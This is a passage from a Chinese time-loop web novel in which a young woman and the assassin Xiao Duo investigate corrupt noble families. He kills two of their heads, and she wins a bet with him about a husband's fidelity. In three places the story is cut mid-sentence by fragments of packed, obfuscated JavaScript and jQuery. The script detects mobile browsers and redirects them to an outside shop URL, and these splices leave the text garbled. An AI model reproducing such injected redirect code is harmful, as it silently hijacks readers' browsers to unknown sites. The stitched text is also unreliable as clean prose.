夏晴宛一进去,几道目光便齐刷刷投了过来。老太太倒是真心欢喜,慈爱地招手唤她近前:“宛丫头来了,这几日都不见你,去了何处?”
她依言上前,垂眸依旧用那套说辞:“回祖母,去慈恩寺为您抄写经文了。”
话音未落,二伯母便斜刺里插进话来,语气带着一丝不易察觉的尖刻:“哦?那经书想必是抄好了?何时也拿来给我们瞧瞧,沾沾孝心?”
夏晴宛哪里真抄了经,不过数次生死,眼前场面她还是把握得住的,不动声色地说:
“尚未抄录完毕。”
二伯母当即冷笑一声:“去了这些时日竟还未完?莫不是心不诚,只是随口搪塞老太太吧?”
老太太拍了拍夏晴宛的手,出面回护:“有心便好,不在乎早晚。”
然而二伯母却不依不饶:“巧的是,前儿我也去了趟慈恩寺,怎未曾听说寺中有哪位小姐在抄经祈福?”
夏晴宛暗自蹙眉,不解她为何如此咄咄相逼。
难道是因为林五郎之事?
可这事明明是她儿子纠缠不休,为何反倒怨到她头上?
她目光下意识地飞快瞥了一眼内室方向,定了定神道:“我平日只在禅房中静心抄写,极少出门,寺中大师或许并不知晓。”
二伯母唇瓣一动,还想再言,却被老太太出声打断:“好了,一点小事,何必刨根问底。”
她这才悻悻然收了声。
几人闲话片刻,老太太忽端详着夏晴宛,怜爱道:“瞧你这孩子,打扮得也太过素净了些,年轻姑娘家,连件像样的头面首饰都没有。”
说罢便转头吩咐身旁的大丫鬟:“去我里头那紫檀匣子里,取那套珍珠头面来给表姑娘。”
那丫鬟应声“是”,转身便要往内室去。
夏晴宛心头一紧,倏忽起身:“不必了!”
8. 继续跑图
她动作略急,霎时所有目光都惊讶地聚焦在她身上,只见夏晴宛缓步走到祖母身边,软声道:
“祖母待宛儿已是极好,再受如此重礼,宛儿心中实在难安。况且前几日大嫂已经送了我一套头面,宛儿还未舍得戴呢。”
她仗着两日后所有人记忆都会清零,张口就是信手拈来。
老太太闻言,果然不再坚持:“既然你大嫂给过了,那便罢了。”
夏晴宛又坐了一盏茶的功夫,眼见约莫半个时辰已过,这才寻了个借口,从容告退。
夏晴宛出了老太太的院子,快步穿过回廊,绕到府邸后园那片僻静的竹林。竹叶沙沙,萧夺果然已等在深处,玄衣几乎融进阴影里。
“如何?”她低声问,气息微促。
萧夺语气平淡:“一无所获。”
“你家老太太早已不管事,房中尽是些陈年旧物与滋补药材。”
夏晴宛松了口气,语气回归平缓:“祖母年事已高,确实多年不过问家中事务了。”
“老太太处既无线索,按身份,下一个该查的便是林家家主,你大伯。”
萧夺侧过头,目光落在她脸上:“等会你去找他,随便寻个借口,将他拖在客厅。”
“我?”夏晴宛愕然。
俗话说,男女授受不亲,寻常人家女儿长大了尚且要避讳父亲,何况她一个外姓的表姑娘?
天可怜见,她和林家家主这几年说的话都不足百句。
老太太那里还好说,林家家主这......
萧夺看着她为难的神色,唇角微扬,眼底却无笑意:“你若不愿,我自有我的法子请他‘留步’。”
夏晴宛背脊一凉,连忙道:“别!还是……还是我来吧。”
让他去,还不知要闹出什么动静。
两人正低声说着,竹林小径上忽然传来细微的脚步声。夏晴宛还未反应过来,便听见一道清脆又惊讶的女声:
“晴宛?你怎会在此处?”
夏晴宛心头猛地一跳,抬头就见家中七妹正站在几步开外,睁大眼睛望着自己,目光又缓缓地挪向她身旁高大的陌生男子。
“他是谁——”
夏晴宛只觉眼前闪过一个影子,萧夺的身形快得如同鬼魅,瞬息已逼至七妹面前。一只手如铁钳般猛地扼住了她纤细的脖颈,将她所有疑惑都堵在喉咙里。
“住手!!!”
夏晴宛两步冲上前,用尽全身力气去推萧夺的手臂,那手臂却如铁铸般纹丝不动。眼见七姑娘一张小脸已由通红转为青紫,双脚无力地蹬踹,情急之下,夏晴宛拔出自己随身携带的匕首,直指萧夺:
“放开她!”
萧夺目光在她紧握的匕首上停留一瞬,眼中流出嘲讽,冷哼一声,松开了钳制。
七姑娘软软瘫倒在地,双手捂着脖颈,脸色由青转红,剧烈地咳嗽着,眼中满是惊恐的泪水,一时说不出话来。
“你做什么?!”夏晴宛挡在七姑娘身前,怒视萧夺。
“她看到了我们。”萧夺语气平淡得像在陈述天气。
“所以呢?你就要杀人灭口?”
“那又如何?”萧夺眼底掠过一丝困惑,似乎不解她为何如此激动:“我杀他们的次数还少么?左右明日一切重置,她的记忆、性命,皆会归零。此刻杀了,有何区别?”
“所以你就可以仗着这循环重生,肆意屠戮无辜?”
被如此质问,萧夺周身气息骤然变冷,一双深不见底的眸子紧紧锁住夏晴宛,薄唇抿成一道冰冷的直线:
“你在教训我?”
空气中弥漫开来的杀意如有实质,沉甸甸地压在心口,夏晴宛甚至能感受到脖颈后泛起一阵战栗,那是生物面对致命危险时最本能的恐惧。
然而眼下夏晴宛却不能退缩,她吸了口气,竭力平静地迎上他冰冷的视线,一字一顿,清晰无比:
“我听闻,太祖微服私访时,曾因一时之怒欲斩杀冒犯他的平民。随行官员劝谏说:‘陛下富有四海,若其有罪,可按律诛其九族;却不可因一时私愤杀人。若必杀之,请以皇帝身份明正典刑。’”
“你可以因为四大家族曾触怒你,或他们确实犯下大罪而动手,哪怕七妹全然无辜,你也可以因她名字在林家族谱中而杀她。但我绝不允许,你仅仅因为她偶然撞破我们的秘密,就随手夺去一个无辜者的性命!”
“你要杀她,先杀我!”
萧夺深邃的目光如寒铁般紧紧锁住她,那双黑沉的眼底翻涌着浓重的杀意,竟比当初血洗四大家族时更为幽深凛冽。周遭的空气瞬间凝固,连风都似被这骇人的气场逼得停了滞。
时间像是被无限拉长,每一秒都过得格外煎熬。竹林间只余风穿叶隙的沙沙声,混着七姑娘伏在地上、死死咬住衣襟才没发出的压抑抽泣,一轻一重,在死寂的氛围里格外刺耳。
不知过了多久,萧夺周身那几乎要将人吞噬的凌厉杀气,终于如退潮般缓缓敛去。空气中令人窒息的压迫感消散些许,他缓缓垂下手,喉间溢出一声几不可闻的轻哼,意味难明。
看他最终退让,夏晴宛刚松一口气,却见眼前黑影又是一闪!
萧夺手起掌落,精准地劈在七姑娘后颈。七姑娘闷哼一声,顿时晕厥过去。
“你——!”
“不杀可以——”萧夺面无表情地打断她:“总不能让她坏事。”
夏晴宛语塞,看着倒在地上的少女,心中五味杂陈。她最终只能默默将昏迷的七姑娘小心扶起,安置在竹林深处一座假山后的隐蔽处,在心中默默道了声歉,这才转身,跟上萧夺已然远去的背影。
——
夏晴宛站在林府最中心主院院门口,深吸了口气,走进。
她甫一踏入院门,一名仆人便迎了上来:“表姑娘安好,您过来可是有事?”
夏晴宛微微颔首:“福伯,烦请通传一声,晴宛有要事想面见大伯。”
福伯的目光在她脸上短暂停留了一瞬,似在疑惑这位平日深居简出的表姑娘为何突然来访,但很快便垂下眼,应道:“姑娘请稍候,容老奴进去禀报。”
说罢,他转身轻叩书房那扇沉重的紫檀木门扉,夏晴宛静立在院中,能清晰地感受到廊下小厮悄然投来的打量目光。
她知道自己此举唐突,一个借住的表姑娘因“私事”求见家主,本身就已逾矩。但想到萧夺,她只能将这份不安强行压下,默默等待着门内的回应。
不多时,书房门吱呀打开,林家家主林鸿正随着福伯从屋中走出,他见着夏晴宛,果然面露异色,眼神打量着这位数年来除寒暄外没几句正经交谈的表侄女。
不过疑惑归疑惑,他脸色还是温和,很有几分长辈慈爱地问:“晴宛找大伯是有什么事啊?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16596184|187466||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>夏晴宛咬着唇,面露纠结神色,少卿,道:“大伯,我能和你进屋谈么?”
“啊,好。”
林鸿正将她引入客厅,又大大方方敞开了门,叫人端来茶水,才道:“是有什么事么?”
夏晴宛早有准备,这时委委屈屈地开口:
“大伯,晴宛冒昧前来,是……是为了五哥的事。”
她垂下目光,露出一副可怜神色:
“五哥他……近日时常到我院中纠缠,言语行为颇有些逾矩。晴宛多次婉拒,五哥却仍不肯罢休。我……我实在不堪其扰,又恐事情闹大,伤了林家颜面,故才贸然前来,恳请大伯出面,规劝五哥一二。”
林鸿正眼角抽了抽,显然是没想到他是为了这个过来的。
其实老五跟这个表侄女的事,他也有听说,只不过小辈的事,尤其是男女之事,是万分与他无关的,要管,那也是老太太,家中夫人管,哪用得着他操心。
话虽如此,但人亲自求到自己面前,总要说几分理。
林鸿正叹了口气,道:“老五这孩子,确是日渐疏于管教了。”
“你二伯……唉,他自个儿如今也常流连于那些个赌坊牌局,对老五疏于管教,才纵得他如今这般不知轻重。我虽为家主,但终究只是大伯,有些话,说得重了,反倒不妥。”
“不过,你既然亲自来说了,我自然不会坐视不理。回头我定会好好训诫他一番,让他懂得收敛,莫要再行此等孟浪之事,徒惹非议。”
夏晴宛垂着眼眸,心中清明如镜。这番话听起来冠冕堂皇,实则全是敷衍推脱。若他真有心管教,何须等到今日?
她本也未指望他能真正约束老五,此刻目的,不过是拖延时间。
她拿起帕子,轻轻按了按并无泪水的眼角,声音陡然带上了哽咽,刻意拖长了调子,显得委屈又无助:
“大伯的苦心,晴宛明白……只是,只是晴宛细细想来,自己年岁渐长,终究是个外人,长久寄居府中,只怕时日久了,不仅惹得兄长们烦厌,更会引来外人闲话,坏了林家清誉。等过了这个冬,我便寻个由头,搬出去自立门户吧……”
夏晴宛搬不搬走,对林鸿正半分影响都没有,但他身为家主,面子上工夫还是要过得去,便劝道:
“这是说的什么话!林家难道还缺你一口饭吃不成?你安心住着,谁敢说闲话?莫要胡思乱想。”
夏晴宛却愈发“伤心”,抽抽噎噎地诉说起这些年的不易与如今的尴尬处境,句句不离“为林家声誉着想”,字字透着“不愿再添麻烦”。
林鸿正被她哭得心烦意乱,心中暗恼女子家就是事多、眼泪浅,但面上却不得不维持着长辈的宽厚与家主的气度,不好直接打发她走,只得按下性子,一遍遍地温言劝慰,不知不觉,时间便在这看似温情实则无奈的拉扯中悄然流逝。
等约莫过了一刻多钟,林鸿正都不耐烦了,夏晴宛才起身道:
“今日叨扰大伯了,是晴宛一时想左了,听了大伯一席话,心里舒坦多了”
林鸿正看她要走,也松了口气,忙道:“无事无事,你要是心里烦,就......就多找你大伯母聊聊天。”
“晴宛晓得了。”
夏晴宛这才行礼退下,刚走出主院不远,便在事先约定好的僻静回廊拐角处,看到了那道玄色的身影。萧夺负手而立,仿佛已等候多时。
9. 杀了,都杀了!
“如何?”夏晴宛快步上前,压低声音问道。
萧夺并未直接回答,而是从袖中取出一本略显陈旧的册子,随手递了过来。
“账本?!”
夏晴宛惊讶道:“你……你怎么把这东西直接带出来了?!”
萧夺眉梢微挑,脸上写着“是又如何”的不以为然。他修长的手指漫不经心地翻开账册,指向其中一页记录着密密麻麻物品名称与数额的条目。
“你祖母寿辰时,收了宾客一株高五尺七寸南海珊瑚树,一对西域夜明珠,十二扇缂丝屏风……”
“贵妃母亲寿辰时,则送了东海珍珠百斛,雪狐裘皮十领,云锦百匹,海外番邦进献的红宝石佛塔一座,还有上百的金丝楠木制的佛龛、供台。”
“因皇帝喜爱金丝楠木制的家具,下旨命各州府年年上供,不过数年光景,近处的山林早已砍伐一空。”
“官府催逼,百姓只得冒险深入瘴疠之地。多少壮丁被毒虫猛兽所噬,多少人失足坠入幽谷……一根皇木下山,往往便是几条人命的代价。更不用说为运送这些巨木,开山辟路,耗费的民力财力几何。”
“这上百件佛龛、供台,不知道沾了多少鲜血。”
萧夺悠悠扯出一抹冷笑,不紧不慢地说:“想来比你们四大家族所有人的命加起来都多。”
夏晴宛沉默了。
萧夺所言,她何尝不知?若以纯粹的旁观者视角,她甚至为有人铲除这些吸食民脂民膏的蛀虫而拍手称快。可她来自现代的灵魂,终究无法接受他连那些尚不知事的孩子,婴儿也一并屠杀,何况其中还有不少无辜仆役……这其中的对错界限,对她而言,似乎成了一个无解的难题。
倒是萧夺,在宣泄了那片刻的冷厉之后,很快收敛了情绪,道:
“这些贪墨奢靡之事,早在我预料之中。仅凭这些,尚不足以构成‘杀头都不足以抵偿的罪孽’,还得继续追查。”
夏晴宛:不是,这还不够么?
你们搞政治的,真是太可怕了.JPG
两人正沉默,忽见管家引着王家家主匆匆穿过庭院,径直进入了林鸿正的书房,房门随即紧闭。
萧夺与夏晴宛对视一眼,夏晴宛闭上眼睛张开双臂,一副视死如归模样。萧夺嘴角扯了扯,抱住她腋下,直接将她夹了起来。
两人掠上屋顶,伏在檐角阴影处,轻轻揭开一片瓦隙。
此时已经入夜,屋内点起了灯,豆大的烛火将林鸿正与王家家主的身影投射在墙壁上,拉得忽长忽短,变幻不定。
王家家主压低了嗓音,道:“鸿正兄,南王兵马不日即将兵临城下,你我必须早作决断!是走是留,今日需有个准话。”
林鸿正的声音带着沉郁:“走?你我根基皆在京城,偌大家业,岂是说抛下就能抛下的?若真要弃城而逃,何必等到今日?”
“既然如此,那便只有一条路可走了……”王家家主语气一转:“就用我们之前商议的那个法子。”
林鸿正也咬牙道:“就用我们之前商议的法子!”
夏晴宛正疑惑他们口中的“法子”是什么,就听林鸿正又道:
“这都是为了家族延续,家里将女儿们养这么大,也是她们做贡献的时候了。”
“我已暗中请了专人,正在加紧教导家中所有未许婚配的女儿如何伺候男子。待到南王破城那日,便是我两家将所有适龄女儿,一同献于南王驾前之时!以此厚礼,彰显你我投诚之诚心。”
夏晴宛猛地捂住了嘴,她下意识地看向身旁的萧夺,只见他嘴角勾起一抹冰冷而玩味的弧度,并不意外模样。
两人在下方又密谈许久,半句不离“南王”,说的无非是献宝送女之事。夏晴宛伏在屋顶,听得心头火起,又阵阵发冷。
恨他们道貌岸然,虚伪无能,怜家中姐妹命如草芥,飘若浮萍。
萧夺垂眸看着她几番变色的脸,忽而凑上去道:“你恨么?”
夏晴宛怔了怔,还未品味出心中滋味,萧夺忽而跳下屋檐,然后从窗口直接跳了进去。
夏晴宛:?
屋内二人正低声谋划,忽见一道玄色身影如鬼魅般自窗口掠入,惊得二人骤然起身,脸色煞白。
“你是何——”
寒光一闪,萧夺腰间匕首已然出鞘,动作快得只留下一道残影。下一刻,利刃已精准地划过两人的咽喉!
林鸿正双目圆睁,难以置信地瞪着眼前这张冷峻的面孔,双手徒劳地捂住喷涌而出的鲜血,喉咙里发出咯咯的异响,随即重重倒地。一旁的王家家主甚至未能发出一声惨叫,便已跟着瘫软下去,顷刻间,书房内只剩下浓重的血腥气弥漫开来。
屋顶上的夏晴宛:?????
看着下方血腥场面,夏晴宛难以置信地睁大了眼睛。
不多时,萧夺擦拭着匕首回到了她身边。
夏晴宛依旧难以置信地看着他:“不是,你为什么要杀他们啊?”
她还以为之前在竹林的时候,自己说动他了呢!
萧夺面无表情地看着她:“你之前说,我不该滥杀无辜,方才两人,可不是无辜之人。”
“......”
夏晴宛看着面前杀了人却毫无异色的男人,觉得他颇有种三短一长选最长的美感。她已经无话可说,只扶着额头道:
“他们死了,林王两家必定掀起轩然大波,你说我们接下来该怎么办?”
萧夺:“无事,明天过后就好了。”
“......”
“趁着他们尸体还未被发现,我们走吧,看看还有什么能调查的。”
夏晴宛已然槽多无口,神情麻木地跟着他离开。
行至府门附近,恰见林家二郎骑着高头大马,神色匆匆地出门。两人对视一眼,无声地跟了上去。
却见那林二郎径直奔向城中最为奢华的“软红阁”,与早已候在门口的周家三郎勾肩搭背,嬉笑着踏入那莺声燕语之地。
萧夺抱臂倚在对面巷口的阴影里,语气里带着一丝毫不掩饰的厌倦与讥诮:“你们这些名门望族,除了此等勾当,便无正事可做了么?”
夏晴宛扶着额头,连反驳的力气都没有了。
二人正欲离开这是非之
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16596185|187466||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地,转角处却见一顶素雅小轿停下,轿中下来的,竟是她五姐姐,即方才那周家三郎的夫人。只见她环顾四周,步履匆匆地走进一间僻静茶肆,一个衣着朴素,身材高大精装的男子迎了出来,二人很快进了雅间。
萧夺见状,唇角勾起一抹似笑非笑忽弧度,点评道:
“丈夫流连青楼,妻子密会情郎,倒也是……各得其所。”
“......”
夏晴宛已经放弃挣扎。
她此前听萧夺说欲潜入四大家族探查究竟,存了让他亲眼见过那些活生生的面孔,深入了解四大家族子嗣为人,生出恻隐之心,不再无情屠杀的期许。
毕竟,抽象的人,和具体的人,是两种完全不同的物种。
但现在看来,非但没能让他看到半分值得宽宥之处,反而坚定了他的决心。
萧夺:“我接下来还有事,今晚的探查就到此为止吧,明早我们在此前的茶楼见。”
他说罢,就要离开。
夏晴宛忙叫住他:“哎,那我呢?”
“你?”萧夺抱臂,在巷子中回头冷冷望着她:
“随你。”
“......”
萧夺身影瞬息间便消失在巷子深处,只留下夏晴宛一人对着空荡的街口发愣。
“随你”二字说得轻巧,可林府她是断然回不去了——家主刚刚横死书房,此刻府中定然乱作一团。无奈之下,她只得在城中寻了间不起眼的客栈暂且栖身。
翌日清晨,夏晴宛早早便赶到此前约定的茶楼。踏入二楼雅座,只见萧夺已端坐在老位置上,正慢条斯理地品着早茶。
一只惯常掌剑的手稳稳托着白瓷茶盏,另一手轻拂盏盖,新沏的茶汤氤氲出袅袅白烟,如薄纱般缭绕升腾,在那烟纱中,男人冷硬的侧脸都晕开出几分柔软。
夏晴宛走过去坐下,两人相对而坐,一时无言,空气中弥漫着一种微妙的沉寂。
正在这时,楼下街面忽然传来一阵喧哗吵嚷,夹杂着呵斥与哭喊。夏晴宛忍不住扭头向窗外望去,只见一位衣着华贵的公子正指挥着几名恶仆,对一名路边小贩拳打脚踢,姿态极为嚣张。
邻座一位老者摇头叹息:“是王家三郎……真是越来越不像话了,光天化日之下竟如此跋扈。”
他身旁的同伴压低声音接话道:“何止是今日!听说前几日他看上了一户人家的姑娘,求娶不成,竟带人冲进姑娘家里,将她老父亲打得只剩半条命……真是造孽啊!”
“唉,如今皇上南下,京城里早已没了王法纲纪。”又一人感慨道:
“倒不如盼着南王早日进城。我听闻他治军严明,麾下兵卒秋毫无犯,所过之处,至多……至多也就是清算几家为富不仁的豪强罢了。”
最后这句话声音压得极低,却清晰地飘进了夏晴宛耳中,她不由看向对面的萧夺,他似乎并未留意邻座的低语,正一瞬不瞬地凝注着楼下街景。脸上没有半分波澜,唯有那双瞳孔深处,凝着一层化不开的寒光,冷冽令人心惊。
“......”
夏晴宛抚着杯壁,黯然不语。
10. 打赌
楼梯处传来沉稳的脚步声,一名身着劲装的侍卫快步上楼,径直走向萧夺。他俯身凑近,在萧夺耳边低语了几句。
只见萧夺眉峰微动,竟难得地露出一丝诧异的神色,侍卫禀报完毕,萧夺略一颔首,示意他在一旁坐下。
随即,他转向夏晴宛,目光在她脸上扫过,问:“吃过了么?”
夏晴宛诚实地摇了摇头。
萧夺眼中浮起明显的嫌弃,却还是道:“那就快吃!”
夏晴宛赶忙叫来小二,点了一笼蟹黄包子和一碗豆粥。
吃完后,萧夺带她离开。
夏晴宛好奇,问他:“我们去哪?”
萧夺不回,只道:“到了就知道了,别问东问西的。”
“......”
两人穿街过巷,最终步入一片老旧住宅区。如同任何时代,穷人和富人的居住场所总是泾渭分明。巷子中低矮的屋舍紧密相连,墙面斑驳,露出内里的土坯或青砖。狭窄的巷道仅容二人并肩,地面是凹凸不平的碎石板,两侧屋檐下甚至还挂着晾晒的粗布衣物。
萧夺引着她走进其中一间院子,正中简陋主屋内,一位老人正在吃早点,院中是一个衣着简朴、身形精壮的年轻男子蹲在地上收拾柴火。
夏晴宛一眼认出,这正是昨夜与五姐姐私会的那人!
男子见有生人闯入,先是警惕,随即看到萧夺及其侍卫的气度,脸上掠过一丝慌乱。他下意识地望了一眼屋内正在安静吃早饭的老母亲,急忙将几人引到一旁的偏房,紧张地压低声音:
“几位……有何贵干?”
侍卫一只手沉稳地搭上他的肩头,语气平和却不容置疑:“不必惊慌,我家主人只想问问周家三夫人的事。”
男子闻言,竟“扑通”一声跪了下来,急声道:“三夫人是好人!天大的好人!求诸位莫要为难她!”
萧夺不动声色,垂眸看着他:“她昨晚与你见面,所为何事?”
男子见他对自己昨晚行踪了如指掌,不敢隐瞒,忙解释道:
“夫人是拿了她的体己银子,托小的去购置衣物粮食,在城外设个粥棚,接济那些无家可归的流民!小的句句属实,绝无虚言!”
夏晴宛闻言,心中大为震动,万万没想到那场看似不堪的“私会”,背后竟是这般缘由。
萧夺神色未变,继续问道:“她要你做此事多久了?你与她,是何关系?”
男子跪在地上,急切地解释:“三夫人心善,并非一时兴起!每年冬日,她都会拿出自己的体己银子接济贫苦人家,已有好些个年头了!今年因着战事,京城附近流民格外多,夫人心中不忍,这才吩咐小的更频繁地外出采买,在城外设点施粥赠药。”
他抬起头,眼中满是感激与忠诚:“不瞒贵人,小的这条贱命,就是三夫人救的!六年前,小的因故得罪了京中的权贵,被毒打得奄奄一息,扔在路边等死。是三夫人路过,心生怜悯,不仅出钱请郎中救活了小的,还给了银钱让小的奉养老母,度过最难的那段时日。若不是三夫人,小的和老母早就成了孤魂野鬼!”
“自那时起,小的便发誓,这条命就是三夫人的!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16596186|187466||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说着,他情绪激动起来,砰砰地磕着头:“三夫人是天大的好人!她若是无意中犯了什么忌讳,触怒了贵人,小的愿意一力承担!要杀要剐,绝无怨言,只求贵人莫要为难夫人!”
萧夺静默地看了他片刻,眼神深邃难辨。最终,他微微示意,一旁的侍卫立刻上前,将那男子搀扶起来。
萧夺未再多言,转身便走出了这间简陋的偏房。
夏晴宛小心翼翼地觑着萧夺的脸色,轻声感叹:“真没想到……五姐姐竟是这般心善之人。”
萧夺并未立刻反驳,只是沉默地向前走了几步。过了片刻,他才冷冷地哼了一声:
“是好人又如何?不照样被丈夫背叛?”
夏晴宛脑海中浮现出往事,这位三夫人原是林家五姑娘,因出嫁早,夏晴宛只与她相处过短短两年,却也知其性情温婉良善。
她与周三郎是青梅竹马,情投意合,唯一美中不足的是,两人成婚五年始终未得子嗣,引得两家长辈频频催促。后来,就连五姐姐母亲也劝女儿主动为丈夫纳妾,五姐姐当时默然不语,显是默认,但最终此事还是不了了之,似乎是周三郎没有同意。
在夏晴宛看来,他们夫妻两人的情谊,是极好的。
她又骤然想起萧夺屠杀周家那夜,混乱中,周三郎竟不顾一切地扑在妻子身前的场景。心中一个念头逐渐清晰、坚定。
她忽然抬起头,目光灼灼地看向萧夺,语气带着一种不容置疑的挑战:
“萧夺,你敢不敢与我打赌?我赌周家三郎没有背叛他夫人。”
11. &%¥()¥M%&
少女脊背挺得笔直,一双漂亮的杏眼里,燃烧着灼灼的光,像暗夜里陡然亮起的星辰,纯粹而执拗。
萧夺深潭般的目光落在她脸上,在她那双亮得惊人的眼睛上停留了一瞬,并未如往常般嘲讽,只是淡淡挪开视线。
“赌注为何?”
“就赌......赌你之后几次重生都不能随意杀人!”
萧夺挑了挑眉,道:
“好!”
夏晴宛心中一喜,催促道:“那我们快走吧!”
两人暂且搁下林家纷扰,转道前往周府。刚至门外,便见庭院内人影绰绰,周家的当家主母也就是周三公子的母亲,正指挥着仆妇清点院中堆积如山的礼品。锦盒、绸缎、古玩玉器,琳琅满目,几乎占据了半个庭院,阳光下折射出炫目的光晕。
夏晴宛心下愕然,周家这是有何等喜事,竟收到如此多的贺礼?
他们不知三公子夫妇具体院落,夏晴宛心一横,对萧夺快速说道:“你在此稍候。”
想着今日过后一切重置,她索性抛开了所有顾忌,深吸一口气,径直闯入周府,走到那位雍容的主母面前,屈膝一礼,开口却直接:
“夫人安好,冒昧打扰。请问三公子与三夫人此刻可在府中?”
周家主母被这突然出现的打扰弄得一怔,停下手中事务,看着素日没有往来的林家表姑娘,迟疑问道:“表姑娘是找曦薇有事么?”
曦薇是周三夫人,林家五姑娘闺名。
夏晴宛点头道:“是。”
主母虽然心中疑虑,但还是客气吩咐身旁的嬷嬷:“给表姑娘带路。”
“是。”
夏晴宛朝门外萧夺使了使眼色,自己跟上嬷嬷。嬷嬷引着夏晴宛穿过几道回廊,来到一处题着“枕潮轩”的院子门口。
未入院落,先闻琴声,琴音淙淙,如清泉流淌,安然雅致,只见三夫人林曦薇正坐在一棵桂花树下抚琴,满院朱槿开得正盛,映得她娇美容颜热烈似火。周家三郎则是在旁即兴赋诗,两人好一副琴瑟和鸣,伉俪情深模样。
夏晴宛可没这闲情逸致欣赏此景,她直愣愣地闯进院中,未待院中二人反应过来,目光直射周三郎,开口便是石破天惊的一问:
“三公子!恕我冒昧,你昨夜去软红阁干什么?”
“铮——”的一声,琴弦骤断。林曦薇指尖一顿,讶然抬头。院中侍立的丫鬟婆子们也瞬间屏息,所有目光齐刷刷地聚焦在周三郎身上。
周三郎的脸颊以肉眼可见的速度“唰”地通红,一直蔓延到耳根。他像是被踩了尾巴的猫,立刻转向妻子,语气急切:
“昨夜是二哥!他骗我说软红阁里有他家中老仆的女儿沦落其间,他欲给她赎身,但手头银钱不凑手,便拉我同去……我、我一时糊涂才信了他!可我进去后发觉不对,立刻便抽身走了!”
林曦薇眸光微动,看着丈夫窘迫焦急的模样,尚未开口。夏晴宛却紧追不舍,又抛出一问:
“有证据么?”
“有有有!软红阁的妈妈可以作证,阁子对面饭馆的掌柜也能作证!所有看到的人都能作证!”
夏晴宛紧紧盯着他的眼睛,看着他眼中满满被误解的委屈和急于向妻子澄清的慌乱,半信半疑地点头:
“行吧,我姑且信你。”
周三郎松了口气——不对,自己要她信干嘛?
话说她来干嘛?
夏晴宛问完问题后便快步离去,只留给二人一个决绝的背影。
周三郎长长舒了口气,用袖子擦了擦额角的汗,这才一脸茫然地转向妻子:
“曦薇,你家这位表姑娘今个儿是怎么了?”
林曦薇亦一脸茫然。
——
走出周府,夏晴宛走向已经出来的萧夺,道:“现在我们可以去找人证了。”
萧夺懒懒道:“我信还不成么?”
“不行,没有‘成’‘不成’的,真就是真,假就是假,走,跟我去找人证!”
二人又去了软红阁,大白天的软红阁大门紧闭,里头姑娘都在睡觉,夏晴宛仗着今日一过,所有人和事都会重置,简直无法无天,一个姑娘家直愣愣地就冲进了软红阁。
“妈妈,妈妈,快醒醒!”她将人摇醒后,大声质问:
“昨夜周家三郎几时走的?”
妈妈昏昏欲睡,随口就答:“坐了没一会就走了,你谁啊......”
“走走走!”夏晴宛拉着萧夺往外面走。
又来到软红阁对面的饭馆,那掌柜的也是一样的回答。
夏晴宛转向萧夺,之前紧绷的神色全然散开,眼底亮得像落了星光,藏不住的得意从眉梢露出来:“你看,三公子果然没有背叛我姐姐吧!”
萧夺看着她脸上发光般的欣喜神色,冷哼一声,道:“那又如何,一人的忠诚洗不清你们林家道貌岸然,吸髓饮血的污浊。”
夏晴宛一字一顿地道:“一码归一码,林家人尽管污浊,也改变不了这个世界还是有美好的人和事存在的事实。”
“好了,总之你输了,你答应我了,从今往后,无论重生多少回,你都不得随意杀人。”
萧夺嘴角擒着一抹冷笑,慢悠悠地说:“放心,我不随意杀人。”
“......”又做阅读理解了是吧?
夏晴宛此刻高兴,不想与他斤斤计较,何况她也不认为自己能改变他的性格,稍加约束已是足矣。
已是中午,两人暂缓行动,寻了间临街的酒楼坐下,刚点上几样小菜,热气还未散尽,楼梯处便传来一阵杂沓急促的脚步声。
只见林家大郎与五郎领着十余名持刀侍卫,气势汹汹地闯了上来,侍卫们迅速散开,将桌椅逼得东倒西歪,瞬间把萧夺与夏晴宛围在了正中。林家大郎双目赤红,剑尖直指萧夺与夏晴宛,声音因悲愤而颤抖:
“是你们!是不是你们杀了我爹!”
夏晴宛早知这事会败露,她心虚不敢与两人对视,垂下眼睛不说话。
一旁萧夺却恍若未觉此间剑拔弩张的气氛,他慢条斯理地放下刚拿起的筷子,抬眼迎上那恨不得将他生吞活剥的目光,用一种最为挑衅的淡然语气道:
“是我,又如何?”
林五郎听他承认,怒不可遏地吼出声:“你这恶贼!还有夏晴宛你这个贱人!奸夫□□!定是你们两勾结害死大伯!”
话音未落,两人已同时拔出佩剑,不管不顾地朝着萧夺猛扑过来!
夏晴宛深知萧夺武功深不可测,这两人绝非其对手,生怕他再下杀手,急忙回头:“萧夺!别……”
只见萧夺并未迎战,反而身形诡异地一闪,竟迅捷无比地躲到了她的身后,嘴角划过一道浅浅弧度。
这一切发生得太快,夏晴宛根本来不及反应,只觉胸口突然传来一阵剧烈的刺痛,她缓缓低下头,映入眼帘的是林
